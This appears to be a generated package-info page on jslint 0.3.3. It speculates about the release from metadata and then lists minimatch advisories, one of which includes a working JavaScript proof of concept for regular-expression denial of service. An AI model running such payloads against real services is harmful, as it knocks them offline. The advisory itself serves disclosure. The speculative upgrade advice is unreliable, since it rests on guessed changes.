The npm package jslint, a JavaScript code quality tool, saw a minor version update from 0.3.2 to 0.3.3 in April 2014. Examining the package metadata reveals subtle changes that, while seemingly small, might be relevant for developers using this linting tool. The core dependencies, nopt and glob, remain consistent with version 0.3.2, staying within the same version ranges. Similarly, the development dependencies like ronn, istanbul, mocha, and fs.extra are also unchanged. The optionalDependencies, including glob, are also kept consistent between the two versions. This indicates that the core functionality and the tools used for development and testing didn't undergo significant alterations.
The most noticeable difference lies in the release date. Version 0.3.3 was published on April 14, 2014, a week after version 0.3.2, released on April 7, 2014. While no specific code changes are detailed in the provided metadata, this update suggests a potential bug fix, minor enhancement, or perhaps a tweak to the build or packaging process. Developers relying on jslint should consider this update. Without more specific information about the code changes, upgrading from 0.3.2 to 0.3.3 is advisable for those seeking the most recent and potentially improved version of the tool, assuming there were minor bug fixes in this version.
All the vulnerabilities related to the version 0.3.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.